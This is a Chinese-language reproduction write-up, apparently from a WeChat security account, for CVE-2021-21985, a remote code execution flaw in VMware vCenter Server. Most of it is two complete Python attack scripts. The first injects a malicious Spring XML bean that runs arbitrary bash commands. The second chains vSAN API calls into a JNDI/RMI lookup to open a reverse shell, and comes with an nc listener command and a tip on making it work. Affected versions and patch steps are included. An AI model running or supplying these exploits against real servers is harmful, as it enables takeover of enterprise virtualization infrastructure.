VMware vCenter Server服务器是一种高级服务器管理软件,它为控制vsphere环境提供了一个集中式平台,以便在混合云中实现可见性。
0x02 漏洞概述
编号:CVE-2021-21985
该漏洞存在于vSphere Client(HTML5)中,由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证,拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。
0x03 影响版本
VMware vCenter Server:
非7.0 U2b版本的7.0版本
非6.7 U3n版本的6.7版本
非6.5 U3p版本的6.5版
VMware Cloud Foundation:
低于4.2.1版本的4.x版本
低于3.10.2.1版本的3.x版本
0x04 环境搭建
环境搭建可参考,此文不表
https://blog.csdn.net/z136370204/article/details/111719373
0x05 漏洞复现
1.首先使用POC执行whoami来测试是否存在该漏洞
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse
import zlib
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ \ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
\ \ / / | / _ \ '_ \| __/ _ \ '__| | _ /| | | __|
\ V /| |___| __/ | | | || __/ | | | \ \| |____| |____
\_/ \_____\___|_| |_|\__\___|_| |_| \_\\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def create_xml():
print("[*] Create Xml to offline_bundle.xml ...")
context = """<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ {cmd} 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
""".replace("{cmd}", cmd)
with open('offline_bundle.xml', 'w') as wf:
wf.write(context)
wf.flush()
def create_zip():
print("[*] Create Zip to offline_bundle.zip ...")
with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
zp.write('offline_bundle.xml')
def toBase64():
with open('offline_bundle.zip', 'rb') as rf:
return base64.b64encode(rf.read())
def poc1(url):
ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
ssrf = ssrf_str.format(bytes.decode(toBase64()))
print ("[*] Get XML to SystemProperties ...")
target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"
data = {"methodInput":[[ssrf]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
def poc2(url):
print("[*] getProperty ...")
target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"
data = {"methodInput": ["output", None]}
r = requests.post(target, data=json.dumps(data), headers=headers,
verify=False, proxies=proxies)
if "result" in r.json():
print("[+] Command:", cmd)
print(r.json()['result'])
else:
print ("[-] send payload failed.")
headers = {"Content-Type": "application/json"}
def main(url):
try:
create_xml()
create_zip()
poc1(url)
poc2(url)
except:
print("[-] send payload failed.")
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
cmd = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
main(target)
except:
print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")
该POC创建了一个恶意xml文件,打包成zip,并base64后通过特定格式发送,返回包含result字段,及证明存在该漏洞
2、使用EXP反弹Shell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import sys
from urllib.parse import urlparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ \ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
\ \ / / | / _ \ '_ \| __/ _ \ '__| | _ /| | | __|
\ V /| |___| __/ | | | || __/ | | | \ \| |____| |____
\_/ \_____\___|_| |_|\__\___|_| |_| \_\\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def payload1(url):
print ("[*] Step 1 setTargetObject to null ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject"
data = {"methodInput":[None]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload2(url)
else:
print ("[-] send payload failed1.")
def payload2(url):
print("[*] Step 2 setStaticMethod to payload ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod"
data = {"methodInput": ["javax.naming.InitialContext.doLookup"]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload3(url)
else:
print ("[-] send payload failed2.")
def payload3(url):
print("[*] Step 3 setTargetMethod to doLookup ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod"
data = {"methodInput": ["doLookup"]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload4(url)
else:
print ("[-] send payload failed3.")
def payload4(url):
print("[*] Step 4 setArguments with payload args ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments"
data = {"methodInput": [[rmi_class]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload5(url)
else:
print ("[-] send payload failed4.")
def payload5(url):
print("[*] Step 5 initial payload class and methods ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare"
data = {"methodInput": []}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload6(url)
else:
print ("[-] send payload failed5.")
def payload6(url):
print("[*] Step 6 trigger method invoke ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke"
data = {"methodInput": []}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
print("[+] send payload success.")
print()
print("[END] VMWare vCenter RCE Done.")
headers = {"Content-Type": "application/json"}
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
rmi_class = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
payload1(target)
except:
print("Example: \n\tpython3 " + sys.argv[
0] + " <target> <rmi://ip/class>\n")
首先需要启动RMI
然后开启reverse shell监听
nc -lvnp 5555
最后执行EXP
注意:复现中发现该EXP的payload5和payload6函数中的None要删掉,不然会失败
0x06 修复方式
VMware vCenter Server:
7.0版本升级到7.0 U2b
6.7版本升级到6.7 U3n
6.5版本升级到6.5 U3p
VMware Cloud Foundation:
4.x版本升级到4.2.1
3.x版本升级到3.10.2.1
参考链接:
https://github.com/r0ckysec/CVE-2021-21985
https://github.com/xnianq/cve-2021-21985_exp
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!